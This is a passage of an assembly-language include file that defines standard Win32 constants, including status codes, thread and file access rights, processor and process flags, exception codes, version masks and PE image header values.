STATUS_ILLEGAL_INSTRUCTION EQU 0C000001Dh
STATUS_NONCONTINUABLE_EXCEPTION EQU 0C0000025h
STATUS_INVALID_DISPOSITION EQU 0C0000026h
STATUS_ARRAY_BOUNDS_EXCEEDED EQU 0C000008Ch
STATUS_FLOAT_DENORMAL_OPERAND EQU 0C000008Dh
STATUS_FLOAT_DIVIDE_BY_ZERO EQU 0C000008Eh
STATUS_FLOAT_INEXACT_RESULT EQU 0C000008Fh
STATUS_FLOAT_INVALID_OPERATION EQU 0C0000090h
STATUS_FLOAT_OVERFLOW EQU 0C0000091h
STATUS_FLOAT_STACK_CHECK EQU 0C0000092h
STATUS_FLOAT_UNDERFLOW EQU 0C0000093h
STATUS_INTEGER_DIVIDE_BY_ZERO EQU 0C0000094h
STATUS_INTEGER_OVERFLOW EQU 0C0000095h
STATUS_PRIVILEGED_INSTRUCTION EQU 0C0000096h
STATUS_STACK_OVERFLOW EQU 0C00000FDh
STATUS_CONTROL_C_EXIT EQU 0C000013Ah
STATUS_FLOAT_MULTIPLE_FAULTS EQU 0C00002B4h
STATUS_FLOAT_MULTIPLE_TRAPS EQU 0C00002B5h
STATUS_ILLEGAL_VLM_REFERENCE EQU 0C00002C0h
STATUS_REG_NAT_CONSUMPTION EQU 0C00002C9h

;ÄÄÄÄÄÄ´ THREADS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

THREAD_TERMINATE EQU 0001h


THREAD_SUSPEND_RESUME EQU 0002h
THREAD_GET_CONTEXT EQU 0008h
THREAD_SET_CONTEXT EQU 0010h
THREAD_SET_INFORMATION EQU 0020h
THREAD_QUERY_INFORMATION EQU 0040h
THREAD_SET_THREAD_TOKEN EQU 0080h
THREAD_IMPERSONATE EQU 0100h
THREAD_DIRECT_IMPERSONATION EQU 0200h
THREAD_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR\
SYNCHRONIZE OR 3FFh

THREAD_BASE_PRIORITY_LOWRT EQU 15 ; value that gets a thread to LowRealtime-1


THREAD_BASE_PRIORITY_MAX EQU 2 ; maximum thread base priority boost
THREAD_BASE_PRIORITY_MIN EQU -2 ; minimum thread base priority boost
THREAD_BASE_PRIORITY_IDLE EQU -15 ; value that gets a thread to idle

THREAD_PRIORITY_LOWEST EQU THREAD_BASE_PRIORITY_MIN


THREAD_PRIORITY_BELOW_NORMAL EQU THREAD_PRIORITY_LOWEST+1
THREAD_PRIORITY_NORMAL EQU 0
THREAD_PRIORITY_HIGHEST EQU THREAD_BASE_PRIORITY_MAX
THREAD_PRIORITY_ABOVE_NORMAL EQU THREAD_PRIORITY_HIGHEST-1
THREAD_PRIORITY_ERROR_RETURN EQU MAXLONG

THREAD_PRIORITY_TIME_CRITICAL EQU THREAD_BASE_PRIORITY_LOWRT


THREAD_PRIORITY_IDLE EQU THREAD_BASE_PRIORITY_IDLE

;ÄÄÄÄÄÄ´ EVENT, MUTEX, SEMAPHORE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EVENT_MODIFY_STATE EQU 0002h


EVENT_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR 3

MUTANT_QUERY_STATE EQU 0001h


MUTANT_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR\
MUTANT_QUERY_STATE

SEMAPHORE_MODIFY_STATE EQU 0002h


SEMAPHORE_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR 3

MUTEX_MODIFY_STATE EQU MUTANT_QUERY_STATE


MUTEX_ALL_ACCESS EQU MUTANT_ALL_ACCESS
TIMER_QUERY_STATE EQU 0001h
TIMER_MODIFY_STATE EQU 0002h
TIMER_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR\
TIMER_QUERY_STATE OR TIMER_MODIFY_STATE

;ÄÄÄÄÄÄ´ PROCESSOR ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

PROCESSOR_INTEL_386 EQU 386


PROCESSOR_INTEL_486 EQU 486
PROCESSOR_INTEL_PENTIUM EQU 586
PROCESSOR_INTEL_IA64 EQU 2200
PROCESSOR_MIPS_R4000 EQU 4000
PROCESSOR_ALPHA_21064 EQU 21064
PROCESSOR_PPC_601 EQU 601
PROCESSOR_PPC_603 EQU 603
PROCESSOR_PPC_604 EQU 604
PROCESSOR_PPC_620 EQU 620
PROCESSOR_HITACHI_SH3 EQU 10003 ; Windows CE
PROCESSOR_HITACHI_SH3E EQU 10004 ; Windows CE
PROCESSOR_HITACHI_SH4 EQU 10005 ; Windows CE
PROCESSOR_MOTOROLA_821 EQU 821 ; Windows CE
PROCESSOR_SHx_SH3 EQU 103 ; Windows CE
PROCESSOR_SHx_SH4 EQU 104 ; Windows CE
PROCESSOR_STRONGARM EQU 2577 ; Windows CE - A11
PROCESSOR_ARM720 EQU 1824 ; Windows CE - 720
PROCESSOR_ARM820 EQU 2080 ; Windows CE - 820
PROCESSOR_ARM920 EQU 2336 ; Windows CE - 920
PROCESSOR_ARM_7TDMI EQU 70001 ; Windows CE

PROCESSOR_ARCHITECTURE_INTEL EQU 0
PROCESSOR_ARCHITECTURE_MIPS EQU 1
PROCESSOR_ARCHITECTURE_ALPHA EQU 2
PROCESSOR_ARCHITECTURE_PPC EQU 3
PROCESSOR_ARCHITECTURE_SHX EQU 4
PROCESSOR_ARCHITECTURE_ARM EQU 5
PROCESSOR_ARCHITECTURE_IA64 EQU 6
PROCESSOR_ARCHITECTURE_ALPHA64 EQU 7
PROCESSOR_ARCHITECTURE_UNKNOWN EQU 0FFFFh

PF_FLOATING_POINT_PRECISION_ERRATA EQU 0
PF_FLOATING_POINT_EMULATED EQU 1
PF_COMPARE_EXCHANGE_DOUBLE EQU 2
PF_MMX_INSTRUCTIONS_AVAILABLE EQU 3
PF_PPC_MOVEMEM_64BIT_OK EQU 4
PF_ALPHA_BYTE_INSTRUCTIONS EQU 5
PF_XMMI_INSTRUCTIONS_AVAILABLE EQU 6
PF_AMD3D_INSTRUCTIONS_AVAILABLE EQU 7
PF_RDTSC_INSTRUCTION_AVAILABLE EQU 8
SYSTEM_FLAG_REMOTE_BOOT_CLIENT EQU 00000001h
SYSTEM_FLAG_DISKLESS_CLIENT EQU 00000002h

;ÄÄÄÄÄÄ´ FILES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

INVALID_HANDLE_VALUE EQU -1
INVALID_FILE_SIZE EQU 0FFFFFFFFh
STD_INPUT_HANDLE EQU -10
STD_OUTPUT_HANDLE EQU -11
STD_ERROR_HANDLE EQU -12

FILE_BEGIN EQU 0 ; used by SetFilePos (shows from where


FILE_CURRENT EQU 1 ; to move)
FILE_END EQU 2 ;
FILE_READ_DATA EQU 0001h ; file & pipe
FILE_LIST_DIRECTORY EQU 0001h ; directory

FILE_WRITE_DATA EQU 0002h ; file & pipe


FILE_ADD_FILE EQU 0002h ; directory

FILE_APPEND_DATA EQU 0004h ; file


FILE_ADD_SUBDIRECTORY EQU 0004h ; directory
FILE_CREATE_PIPE_INSTANCE EQU 0004h ; named pipe
FILE_READ_EA EQU 0008h ; file & directory
FILE_WRITE_EA EQU 0010h ; file & directory
FILE_EXECUTE EQU 0020h ; file
FILE_TRAVERSE EQU 0020h ; directory
FILE_DELETE_CHILD EQU 0040h ; directory
FILE_READ_ATTRIBUTES EQU 0080h ; all
FILE_WRITE_ATTRIBUTES EQU 0100h ; all
FILE_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR\
SYNCHRONIZE OR 1FFh

FILE_GENERIC_READ EQU STANDARD_RIGHTS_READ OR\


FILE_READ_DATA OR\
FILE_READ_ATTRIBUTES OR\
FILE_READ_EA OR\
SYNCHRONIZE

FILE_GENERIC_WRITE EQU STANDARD_RIGHTS_WRITE OR\


FILE_WRITE_DATA OR\
FILE_WRITE_ATTRIBUTES OR\
FILE_WRITE_EA OR\
FILE_APPEND_DATA OR\
SYNCHRONIZE

FILE_GENERIC_EXECUTE EQU STANDARD_RIGHTS_EXECUTE OR\


FILE_READ_ATTRIBUTES OR\
FILE_EXECUTE OR\
SYNCHRONIZE

FILE_SHARE_READ EQU 00000001h


FILE_SHARE_WRITE EQU 00000002h
FILE_SHARE_DELETE EQU 00000004h

FILE_ATTRIBUTE_READONLY EQU 00000001h


FILE_ATTRIBUTE_HIDDEN EQU 00000002h
FILE_ATTRIBUTE_SYSTEM EQU 00000004h
FILE_ATTRIBUTE_DIRECTORY EQU 00000010h
FILE_ATTRIBUTE_ARCHIVE EQU 00000020h
FILE_ATTRIBUTE_DEVICE EQU 00000040h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
FILE_ATTRIBUTE_TEMPORARY EQU 00000100h
FILE_ATTRIBUTE_SPARSE_FILE EQU 00000200h
FILE_ATTRIBUTE_REPARSE_POINT EQU 00000400h
FILE_ATTRIBUTE_COMPRESSED EQU 00000800h
FILE_ATTRIBUTE_OFFLINE EQU 00001000h
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED EQU 00002000h
FILE_ATTRIBUTE_ENCRYPTED EQU 00004000h

FILE_NOTIFY_CHANGE_FILE_NAME EQU 00000001h


FILE_NOTIFY_CHANGE_DIR_NAME EQU 00000002h
FILE_NOTIFY_CHANGE_ATTRIBUTES EQU 00000004h
FILE_NOTIFY_CHANGE_SIZE EQU 00000008h
FILE_NOTIFY_CHANGE_LAST_WRITE EQU 00000010h
FILE_NOTIFY_CHANGE_LAST_ACCESS EQU 00000020h
FILE_NOTIFY_CHANGE_CREATION EQU 00000040h
FILE_NOTIFY_CHANGE_SECURITY EQU 00000100h

FILE_ACTION_ADDED EQU 00000001h


FILE_ACTION_REMOVED EQU 00000002h
FILE_ACTION_MODIFIED EQU 00000003h
FILE_ACTION_RENAMED_OLD_NAME EQU 00000004h
FILE_ACTION_RENAMED_NEW_NAME EQU 00000005h

MAILSLOT_NO_MESSAGE EQU -1
MAILSLOT_WAIT_FOREVER EQU -1

FILE_CASE_SENSITIVE_SEARCH EQU 00000001h


FILE_CASE_PRESERVED_NAMES EQU 00000002h
FILE_UNICODE_ON_DISK EQU 00000004h
FILE_PERSISTENT_ACLS EQU 00000008h
FILE_FILE_COMPRESSION EQU 00000010h
FILE_VOLUME_QUOTAS EQU 00000020h
FILE_SUPPORTS_SPARSE_FILES EQU 00000040h
FILE_SUPPORTS_REPARSE_POINTS EQU 00000080h
FILE_SUPPORTS_REMOTE_STORAGE EQU 00000100h
FILE_VOLUME_IS_COMPRESSED EQU 00008000h
FILE_SUPPORTS_OBJECT_IDS EQU 00010000h
FILE_SUPPORTS_ENCRYPTION EQU 00020000h

COPY_FILE_FAIL_IF_EXISTS EQU 00000001h


COPY_FILE_RESTARTABLE EQU 00000002h
COPY_FILE_OPEN_SOURCE_FOR_WRITE EQU 00000004h

REPLACEFILE_WRITE_THROUGH EQU 00000001h


REPLACEFILE_IGNORE_MERGE_ERRORS EQU 00000002h

FILE_FLAG_WRITE_THROUGH EQU 80000000h


FILE_FLAG_OVERLAPPED EQU 40000000h
FILE_FLAG_NO_BUFFERING EQU 20000000h
FILE_FLAG_RANDOM_ACCESS EQU 10000000h
FILE_FLAG_SEQUENTIAL_SCAN EQU 08000000h
FILE_FLAG_DELETE_ON_CLOSE EQU 04000000h
FILE_FLAG_BACKUP_SEMANTICS EQU 02000000h
FILE_FLAG_POSIX_SEMANTICS EQU 01000000h
FILE_FLAG_OPEN_REPARSE_POINT EQU 00200000h
FILE_FLAG_OPEN_NO_RECALL EQU 00100000h

FIND_FIRST_EX_CASE_SENSITIVE EQU 00000001h

MOVEFILE_REPLACE_EXISTING EQU 00000001h


MOVEFILE_COPY_ALLOWED EQU 00000002h
MOVEFILE_DELAY_UNTIL_REBOOT EQU 00000004h
MOVEFILE_WRITE_THROUGH EQU 00000008h
MOVEFILE_CREATE_HARDLINK EQU 00000010h
MOVEFILE_FAIL_IF_NOT_TRACKABLE EQU 00000020h

CREATE_NEW EQU 1
CREATE_ALWAYS EQU 2
OPEN_EXISTING EQU 3
OPEN_ALWAYS EQU 4
TRUNCATE_EXISTING EQU 5

LOCKFILE_FAIL_IMMEDIATELY EQU 00000001h


LOCKFILE_EXCLUSIVE_LOCK EQU 00000002h

HANDLE_FLAG_INHERIT EQU 00000001h


HANDLE_FLAG_PROTECT_FROM_CLOSE EQU 00000002h

HINSTANCE_ERROR EQU 32

FILE_ENCRYPTABLE EQU 0
FILE_IS_ENCRYPTED EQU 1
FILE_SYSTEM_ATTR EQU 2
FILE_ROOT_DIR EQU 3
FILE_SYSTEM_DIR EQU 4
FILE_UNKNOWN EQU 5
FILE_SYSTEM_NOT_SUPPORT EQU 6
FILE_USER_DISALLOWED EQU 7
FILE_READ_ONLY EQU 8

FS_CASE_IS_PRESERVED EQU FILE_CASE_PRESERVED_NAMES


FS_CASE_SENSITIVE EQU FILE_CASE_SENSITIVE_SEARCH
FS_UNICODE_STORED_ON_DISK EQU FILE_UNICODE_ON_DISK
FS_PERSISTENT_ACLS EQU FILE_PERSISTENT_ACLS
FS_VOL_IS_COMPRESSED EQU FILE_VOLUME_IS_COMPRESSED
FS_FILE_COMPRESSION EQU FILE_FILE_COMPRESSION
FS_FILE_ENCRYPTION EQU FILE_SUPPORTS_ENCRYPTION

FILE_MAP_COPY EQU SECTION_QUERY


FILE_MAP_WRITE EQU SECTION_MAP_WRITE
FILE_MAP_READ EQU SECTION_MAP_READ
FILE_MAP_ALL_ACCESS EQU SECTION_ALL_ACCESS

; Open File flags

OF_READ EQU 00000000h


OF_WRITE EQU 00000001h
OF_READWRITE EQU 00000002h
OF_SHARE_COMPAT EQU 00000000h
OF_SHARE_EXCLUSIVE EQU 00000010h
OF_SHARE_DENY_WRITE EQU 00000020h
OF_SHARE_DENY_READ EQU 00000030h
OF_SHARE_DENY_NONE EQU 00000040h
OF_PARSE EQU 00000100h
OF_DELETE EQU 00000200h
OF_VERIFY EQU 00000400h
OF_CANCEL EQU 00000800h
OF_CREATE EQU 00001000h
OF_PROMPT EQU 00002000h
OF_EXIST EQU 00004000h
OF_REOPEN EQU 00008000h

FILE_TYPE_UNKNOWN EQU 0000h


FILE_TYPE_DISK EQU 0001h
FILE_TYPE_CHAR EQU 0002h
FILE_TYPE_PIPE EQU 0003h
FILE_TYPE_REMOTE EQU 8000h

;ÄÄÄÄÄÄ´ PROCESS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

PROCESS_HEAP_REGION EQU 0001h


PROCESS_HEAP_UNCOMMITTED_RANGE EQU 0002h
PROCESS_HEAP_ENTRY_BUSY EQU 0004h
PROCESS_HEAP_ENTRY_MOVEABLE EQU 0010h
PROCESS_HEAP_ENTRY_DDESHARE EQU 0020h

DEBUG_PROCESS EQU 00000001h


DEBUG_ONLY_THIS_PROCESS EQU 00000002h
CREATE_SUSPENDED EQU 00000004h
DETACHED_PROCESS EQU 00000008h
CREATE_NEW_CONSOLE EQU 00000010h

NORMAL_PRIORITY_CLASS EQU 00000020h


IDLE_PRIORITY_CLASS EQU 00000040h
HIGH_PRIORITY_CLASS EQU 00000080h
REALTIME_PRIORITY_CLASS EQU 00000100h

CREATE_NEW_PROCESS_GROUP EQU 00000200h


CREATE_UNICODE_ENVIRONMENT EQU 00000400h

CREATE_SEPARATE_WOW_VDM EQU 00000800h


CREATE_SHARED_WOW_VDM EQU 00001000h
CREATE_FORCEDOS EQU 00002000h

BELOW_NORMAL_PRIORITY_CLASS EQU 00004000h


ABOVE_NORMAL_PRIORITY_CLASS EQU 00008000h

CREATE_DEFAULT_ERROR_MODE EQU 04000000h


CREATE_NO_WINDOW EQU 08000000h

PROFILE_USER EQU 10000000h


PROFILE_KERNEL EQU 20000000h
PROFILE_SERVER EQU 40000000h

;ÄÄÄÄÄÄ´ SEM ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SEM_FAILCRITICALERRORS EQU 0001h


SEM_NOGPFAULTERRORBOX EQU 0002h
SEM_NOALIGNMENTFAULTEXCEPT EQU 0004h
SEM_NOOPENFILEERRORBOX EQU 8000h

;ÄÄÄÄÄÄ´ MESSAGES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FORMAT_MESSAGE_ALLOCATE_BUFFER EQU 00000100h


FORMAT_MESSAGE_IGNORE_INSERTS EQU 00000200h
FORMAT_MESSAGE_FROM_STRING EQU 00000400h
FORMAT_MESSAGE_FROM_HMODULE EQU 00000800h
FORMAT_MESSAGE_FROM_SYSTEM EQU 00001000h
FORMAT_MESSAGE_ARGUMENT_ARRAY EQU 00002000h
FORMAT_MESSAGE_MAX_WIDTH_MASK EQU 000000FFh

MESSAGE_RESOURCE_UNICODE EQU 0001

;ÄÄÄÄÄÄ´ EXCEPTIONS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EXCEPTION_NONCONTINUABLE EQU 1
EXCEPTION_MAXIMUM_PARAMETERS EQU 15

EXCEPTION_ACCESS_VIOLATION EQU STATUS_ACCESS_VIOLATION


EXCEPTION_DATATYPE_MISALIGNMENT EQU STATUS_DATATYPE_MISALIGNMENT
EXCEPTION_BREAKPOINT EQU STATUS_BREAKPOINT
EXCEPTION_SINGLE_STEP EQU STATUS_SINGLE_STEP
EXCEPTION_ARRAY_BOUNDS_EXCEEDED EQU STATUS_ARRAY_BOUNDS_EXCEEDED
EXCEPTION_FLT_DENORMAL_OPERAND EQU STATUS_FLOAT_DENORMAL_OPERAND
EXCEPTION_FLT_DIVIDE_BY_ZERO EQU STATUS_FLOAT_DIVIDE_BY_ZERO
EXCEPTION_FLT_INEXACT_RESULT EQU STATUS_FLOAT_INEXACT_RESULT
EXCEPTION_FLT_INVALID_OPERATION EQU STATUS_FLOAT_INVALID_OPERATION
EXCEPTION_FLT_OVERFLOW EQU STATUS_FLOAT_OVERFLOW
EXCEPTION_FLT_STACK_CHECK EQU STATUS_FLOAT_STACK_CHECK
EXCEPTION_FLT_UNDERFLOW EQU STATUS_FLOAT_UNDERFLOW
EXCEPTION_INT_DIVIDE_BY_ZERO EQU STATUS_INTEGER_DIVIDE_BY_ZERO
EXCEPTION_INT_OVERFLOW EQU STATUS_INTEGER_OVERFLOW
EXCEPTION_PRIV_INSTRUCTION EQU STATUS_PRIVILEGED_INSTRUCTION
EXCEPTION_IN_PAGE_ERROR EQU STATUS_IN_PAGE_ERROR
EXCEPTION_ILLEGAL_INSTRUCTION EQU STATUS_ILLEGAL_INSTRUCTION
EXCEPTION_NONCONTINUABLE_EXCEPTION EQU STATUS_NONCONTINUABLE_EXCEPTION
EXCEPTION_STACK_OVERFLOW EQU STATUS_STACK_OVERFLOW
EXCEPTION_INVALID_DISPOSITION EQU STATUS_INVALID_DISPOSITION
EXCEPTION_GUARD_PAGE EQU STATUS_GUARD_PAGE_VIOLATION
EXCEPTION_INVALID_HANDLE EQU STATUS_INVALID_HANDLE

;ÄÄÄÄÄÄ´ VERSION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

VER_SERVER_NT EQU 80000000h


VER_WORKSTATION_NT EQU 40000000h
VER_SUITE_SMALLBUSINESS EQU 00000001h
VER_SUITE_ENTERPRISE EQU 00000002h
VER_SUITE_BACKOFFICE EQU 00000004h
VER_SUITE_COMMUNICATIONS EQU 00000008h
VER_SUITE_TERMINAL EQU 00000010h
VER_SUITE_SMALLBUSINESS_RESTRICTED EQU 00000020h
VER_SUITE_EMBEDDEDNT EQU 00000040h

VER_PLATFORM_WIN32s EQU 0
VER_PLATFORM_WIN32_WINDOWS EQU 1
VER_PLATFORM_WIN32_NT EQU 2

VER_EQUAL EQU 1
VER_GREATER EQU 2
VER_GREATER_EQUAL EQU 3
VER_LESS EQU 4
VER_LESS_EQUAL EQU 5
VER_AND EQU 6
VER_OR EQU 7

VER_MINORVERSION EQU 0000001h


VER_MAJORVERSION EQU 0000002h
VER_BUILDNUMBER EQU 0000004h
VER_PLATFORMID EQU 0000008h
VER_SERVICEPACKMINOR EQU 0000010h
VER_SERVICEPACKMAJOR EQU 0000020h
VER_SUITENAME EQU 0000040h

;ÄÄÄÄÄÄ´ FILE IMAGES EQUATES


ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_DOS_SIGNATURE EQU 5A4Dh ; MZ


IMAGE_OS2_SIGNATURE EQU 454Eh ; NE
IMAGE_OS2_SIGNATURE_LE EQU 454Ch ; LE
IMAGE_VXD_SIGNATURE EQU 454Ch ; LE
IMAGE_NT_SIGNATURE EQU 00004550h ; PE00
IMAGE_SIZEOF_FILE_HEADER EQU 20 ;
IMAGE_SIZEOF_MZ_HEADER EQU 40h ;

; PE File Characteristics

IMAGE_FILE_RELOCS_STRIPPED EQU 0001h ; Relocation info stripped from file.


IMAGE_FILE_EXECUTABLE_IMAGE EQU 0002h ; File is executable (i.e. no unresolved
externel references).
IMAGE_FILE_LINE_NUMS_STRIPPED EQU 0004h ; Line nunbers stripped from file.
IMAGE_FILE_LOCAL_SYMS_STRIPPED EQU 0008h ; Local symbols stripped from file.
IMAGE_FILE_AGGRESIVE_WS_TRIM EQU 0010h ; Agressively trim working set
IMAGE_FILE_LARGE_ADDRESS_AWARE EQU 0020h ; App can handle >2gb addresses
IMAGE_FILE_BYTES_REVERSED_LO EQU 0080h ; Bytes of machine word are reversed.
IMAGE_FILE_32BIT_MACHINE EQU 0100h ; 32 bit word machine.
IMAGE_FILE_DEBUG_STRIPPED EQU 0200h ; Debugging info stripped from file in .DBG
file
IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP EQU 0400h ; If Image is on removable media, copy and
run from the swap file.
IMAGE_FILE_NET_RUN_FROM_SWAP EQU 0800h ; If Image is on Net, copy and run from the
swap file.
IMAGE_FILE_SYSTEM EQU 1000h ; System File.
IMAGE_FILE_DLL EQU 2000h ; File is a DLL.
IMAGE_FILE_UP_SYSTEM_ONLY EQU 4000h ; File should only be run on a UP machine
IMAGE_FILE_BYTES_REVERSED_HI EQU 8000h ; Bytes of machine word are reversed.

; PE Machine type

IMAGE_FILE_MACHINE_UNKNOWN EQU 0
IMAGE_FILE_MACHINE_I386 EQU 014ch ; Intel 386.
IMAGE_FILE_MACHINE_R3000 EQU 0162h ; MIPS little-endian, 160 big-endian
IMAGE_FILE_MACHINE_R4000 EQU 0166h ; MIPS little-endian
IMAGE_FILE_MACHINE_R10000 EQU 0168h ; MIPS little-endian
IMAGE_FILE_MACHINE_WCEMIPSV2 EQU 0169h ; MIPS little-endian WCE v2
IMAGE_FILE_MACHINE_ALPHA EQU 0184h ; Alpha_AXP
IMAGE_FILE_MACHINE_POWERPC EQU 01F0h ; IBM PowerPC Little-Endian
IMAGE_FILE_MACHINE_SH3 EQU 01a2h ; SH3 little-endian
IMAGE_FILE_MACHINE_SH3E EQU 01a4h ; SH3E little-endian
IMAGE_FILE_MACHINE_SH4 EQU 01a6h ; SH4 little-endian
IMAGE_FILE_MACHINE_ARM EQU 01c0h ; ARM Little-Endian
IMAGE_FILE_MACHINE_THUMB EQU 01c2h
IMAGE_FILE_MACHINE_IA64 EQU 0200h ; Intel 64
IMAGE_FILE_MACHINE_MIPS16 EQU 0266h ; MIPS
IMAGE_FILE_MACHINE_MIPSFPU EQU 0366h ; MIPS
IMAGE_FILE_MACHINE_MIPSFPU16 EQU 0466h ; MIPS
IMAGE_FILE_MACHINE_ALPHA64 EQU 0284h ; ALPHA64
IMAGE_FILE_MACHINE_AXP64 EQU IMAGE_FILE_MACHINE_ALPHA64

IMAGE_NUMBEROF_DIRECTORY_ENTRIES EQU 16
IMAGE_SIZEOF_STD_OPTIONAL_HEADER EQU 28
IMAGE_SIZEOF_NT_OPTIONAL_HEADER EQU 224
IMAGE_NT_OPTIONAL_HDR_MAGIC EQU 10bh

IMAGE_SUBSYSTEM_UNKNOWN EQU 0 ; Unknown subsystem.


IMAGE_SUBSYSTEM_NATIVE EQU 1 ; Image doesn't require a subsystem.
IMAGE_SUBSYSTEM_WINDOWS_GUI EQU 2 ; Image runs in the Windows GUI subsystem.
IMAGE_SUBSYSTEM_WINDOWS_CUI EQU 3 ; Image runs in the Windows character subsystem.
IMAGE_SUBSYSTEM_OS2_CUI EQU 5 ; image runs in the OS/2 character subsystem.
IMAGE_SUBSYSTEM_POSIX_CUI EQU 7 ; image runs in the Posix character subsystem.
IMAGE_SUBSYSTEM_NATIVE_WINDOWS EQU 8 ; image is a native Win9x driver.
IMAGE_SUBSYSTEM_WINDOWS_CE_GUI EQU 9 ; Image runs in the Windows CE subsystem.

; Directory Entries

IMAGE_DIRECTORY_ENTRY_EXPORT EQU 0 ; Export Directory


IMAGE_DIRECTORY_ENTRY_IMPORT EQU 1 ; Import Directory
IMAGE_DIRECTORY_ENTRY_RESOURCE EQU 2 ; Resource Directory
IMAGE_DIRECTORY_ENTRY_EXCEPTION EQU 3 ; Exception Directory
IMAGE_DIRECTORY_ENTRY_SECURITY EQU 4 ; Security Directory
IMAGE_DIRECTORY_ENTRY_BASERELOC EQU 5 ; Base Relocation Table
IMAGE_DIRECTORY_ENTRY_DEBUG EQU 6 ; Debug Directory
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE EQU 7 ; Architecture Specific Data
IMAGE_DIRECTORY_ENTRY_GLOBALPTR EQU 8 ; RVA of GP
IMAGE_DIRECTORY_ENTRY_TLS EQU 9 ; TLS Directory
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG EQU 10 ; Load Configuration Directory
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT EQU 11 ; Bound Import Directory in headers
IMAGE_DIRECTORY_ENTRY_IAT EQU 12 ; Import Address Table
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT EQU 13 ; Delay Load Import Descriptors
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR EQU 14 ; COM Runtime descriptor

IMAGE_SIZEOF_SHORT_NAME EQU 8
IMAGE_SIZEOF_SECTION_HEADER EQU 40

; Section Characteristics

IMAGE_SCN_CNT_CODE EQU 00000020h ; Section contains code.


IMAGE_SCN_CNT_INITIALIZED_DATA EQU 00000040h ; Section contains initialized data.
IMAGE_SCN_CNT_UNINITIALIZED_DATA EQU 00000080h ; Section contains uninitialized data.

IMAGE_SCN_LNK_INFO EQU 00000200h ; Section contains comments or some


other type of information.
IMAGE_SCN_LNK_REMOVE EQU 00000800h ; Section contents will not become part
of image.
IMAGE_SCN_LNK_COMDAT EQU 00001000h ; Section contents comdat.
IMAGE_SCN_NO_DEFER_SPEC_EXC EQU 00004000h ; Reset speculative exceptions handling
bits in the TLB entries for this section.
IMAGE_SCN_GPREL EQU 00008000h ; Section content can be accessed
relative to GP
IMAGE_SCN_MEM_FARDATA EQU 00008000h
IMAGE_SCN_MEM_PURGEABLE EQU 00020000h
IMAGE_SCN_MEM_16BIT EQU 00020000h
IMAGE_SCN_MEM_LOCKED EQU 00040000h
IMAGE_SCN_MEM_PRELOAD EQU 00080000h

IMAGE_SCN_ALIGN_1BYTES EQU 00100000h ;


IMAGE_SCN_ALIGN_2BYTES EQU 00200000h ;
IMAGE_SCN_ALIGN_4BYTES EQU 00300000h ;
IMAGE_SCN_ALIGN_8BYTES EQU 00400000h ;
IMAGE_SCN_ALIGN_16BYTES EQU 00500000h ; Default alignment if no others are
specified.
IMAGE_SCN_ALIGN_32BYTES EQU 00600000h ;
IMAGE_SCN_ALIGN_64BYTES EQU 00700000h ;
IMAGE_SCN_ALIGN_128BYTES EQU 00800000h ;
IMAGE_SCN_ALIGN_256BYTES EQU 00900000h ;
IMAGE_SCN_ALIGN_512BYTES EQU 00A00000h ;
